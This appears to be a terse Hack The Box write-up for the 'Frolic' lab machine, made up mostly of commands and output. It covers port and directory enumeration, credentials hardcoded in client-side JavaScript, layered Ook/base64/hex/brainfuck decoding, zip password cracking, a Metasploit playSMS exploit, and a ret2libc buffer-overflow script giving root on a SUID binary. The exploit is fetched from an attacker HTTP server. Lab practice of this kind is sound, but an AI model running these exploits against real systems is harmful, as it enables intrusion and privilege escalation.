JAVA SCRIPT SOURCE CODE

DECRYPT OOK

BASE64 to Zip File

Fcrackzip

HEX TO BASE64 TO BRAINFUCK

PLAYSMS EXPLOIT

BUFFEROVERLOW ret2libc

FTP FILE TRANSFER

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)

| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)

|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

1880/tcp open http Node.js (Express middleware)

|_http-title: Node-RED

9999/tcp open http nginx 1.10.3 (Ubuntu)

|_http-server-header: nginx/1.10.3 (Ubuntu)

|_http-title: Welcome to nginx!

Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://frolic.htb:9999/

root@kali:/home/kali/Desktop/htb/frolic# gobuster dir -u http://frolic.htb:9999 -w /usr/share/wordlists/dirb/common.txt

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/admin (Status: 301)

/backup (Status: 301)

/dev (Status: 301)

/test (Status: 301)

root@kali:/home/kali/Desktop/htb/frolic# gobuster dir -u http://frolic.htb:9999/dev/ -w /usr/share/wordlists/dirb/common.txt

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/backup (Status: 301)

/test (Status: 200)

Frolic.htb/dev/backup

Playsms

http://frolic.htb:9999/admin/

view-source:http://frolic.htb:9999/admin/

<script src="js/login.js"></script>

view-source:http://frolic.htb:9999/admin/js/login.js

var attempt = 3; // Variable to count number of attempts.

// Below function Executes on click of login button.

function validate(){

var username = document.getElementById("username").value;

var password = document.getElementById("password").value;

if (username == "admin" && password == "superduperlooperpassword_lol"){

alert ("Login successfully");

window.location = "success.html"; // Redirecting to other page.

return false;

}

else{

attempt --;// Decrementing by one.

alert("You have left "+attempt+" attempt;");

// Disabling fields after 3 attempts.

```
if( attempt == 0){

document.getElementById("username").disabled = true;

document.getElementById("password").disabled = true;

document.getElementById("submit").disabled = true;

return false;

}

}

}
```

Admin superduperlooperpassword_lol

http://frolic.htb:9999/admin/success.html

```
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?.
```

https://www.dcode.fr/ook-language

Nothing here check /asdiSIAJJ0QWE9JAS

http://frolic.htb:9999/asdiSIAJJ0QWE9JAS

```
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5
hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6r
qOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40R
rXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAA
AAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA
```

```
root@kali:/home/kali/Desktop/htb/frolic# base64 -d base64.txt

root@kali:/home/kali/Desktop/htb/frolic# base64 -d base64.txt > unknown

root@kali:/home/kali/Desktop/htb/frolic# mv unknown file.zip

root@kali:/home/kali/Desktop/htb/frolic# unzip file.zip

Archive:  file.zip

[file.zip] index.php password:

  skipping: index.php             incorrect password

root@kali:/home/kali/Desktop/htb/frolic# fcrackzip file.zip -u -D -p /usr/share/wordlists/rockyou.txt
```

PASSWORD FOUND!!!!: pw == password

root@kali:/home/kali/Desktop/htb/frolic# cat index.php

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b797372504630675069737 24b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c5330745046306750693074 4c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b797372504630675069737 24b79346750437372 4b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

HEX

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr

KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg

K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t

LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

BASE64

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+

++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[->---

<]>-- .<+++ [->++ +<]>+ .---. <+++[->--- <]>-- ----. <++++ [->++ ++<]>

++..<

BRAINFUCK

idkwhatispass

http://frolic.htb:9999/playsms/

http://frolic.htb:9999/playsms/index.php?app=main&inc=core_auth&route=login

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass

password => idkwhatispass

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999

rport => 9999

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111

rhosts => 10.10.10.111

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms

targeturi => /playsms

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost tun0

lhost => tun0

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost tun0

lhost => tun0

msf5 exploit(multi/http/playsms_uploadcsv_exec) > exploit

www-data@frolic:/home/ayush$ find / -perm -u=s -type f 2>/dev/null

/home/ayush/.binary/rop

www-data@frolic:/home/ayush/.binary$ ./rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

root@kali:/home/kali/Desktop/htb/frolic# python -m pyftpdlib -p 21 –w

www-data@frolic:/home/ayush/.binary$ ftp 10.10.14.27

BUFFEROVERFLOW

root@kali:/home/kali/Desktop/htb/frolic# checksec ./rop

[*] Checking for new versions of pwntools

To disable this functionality, set the contents of /root/.cache/.pwntools-cache-2.7/update to 'never' (old way).

Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):

[update]

interval=never

[*] A newer version of pwntools is available on pypi (4.2.0 --> 4.2.1).

Update with: $ pip install -U pwntools

[*] '/home/kali/Desktop/htb/frolic/rop'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

root@kali:/home/kali/Desktop/htb/frolic# /usr/bin/msf-pattern_create -l 100

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

root@kali:/home/kali/Desktop/htb/frolic# gdb -q rop

(gdb) r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.

0x62413762 in ?? ()

root@kali:/home/kali/Desktop/htb/frolic# /usr/bin/msf-pattern_offset -q 0x62413762 -l 100

[*] Exact match at offset 52

(gdb) p system

$1 = {<text variable, no debug info>} **0xf7e14620** <**system**>

(gdb) p exit

$2 = {<text variable, no debug info>} **0xf7e07390** <**exit**>

(gdb) find 0xf7e14620, +9999999, "/bin/sh"

0xf7f58406

warning: Unable to access 16000 bytes of target memory at 0xf7fb218e, halting search.

1 pattern found.

root@kali:/home/kali/Desktop/htb/frolic# cat exploit.py

```
#!/usr/bin/python

import struct

def addr(x):

    return struct.pack("I", x)

junk = "A" * 52
```

system = addr(0xf7e14620)

exit = addr(0xf7e07390)

shell = addr(0xf7f58406)

payload = junk + system + exit + shell

print payload

ldd /home/ayush/.binary/rop |grep libc

libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0

627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE

1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10

141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0

450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18

558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0

616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0

652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10

876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3

1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0

1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1

1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0

2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0

2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0

2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2

strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

15ba0b /bin/sh

We have to add the value of “system”, “exit” and “/bin/sh” to the address of libc to get the address of “system”, “exit” and “/bin/sh”.Now we make the following changes to the exploit.

SYSTEM = 0xb7e19000 +0x0003ada0

EXIT = 0xb7e19000 + 0x0002e9d0

/bin/sh = 0xb7e19000 +0x0015ba0b

root@kali:/home/kali/Desktop/htb/frolic# cat exploit2.py

```
#!/usr/bin/python

import struct

def addr(x):

    return struct.pack("I", x)

junk = "A" * 52

system = addr(0xb7e19000 + 0x0003ada0)

exit =  addr(0xb7e19000 + 0x0002e9d0)

shell =  addr(0xb7e19000 + 0x0015ba0b)


payload = junk + system + exit + shell

print payload
```

root@kali:/home/kali/Desktop/htb/frolic# python -m SimpleHTTPServer 80

wget 10.10.14.27/exploit2.py

chmod +x exploit2.py

/home/ayush/.binary/rop $(python /tmp/exploit2.py)

ROOTED!!!!!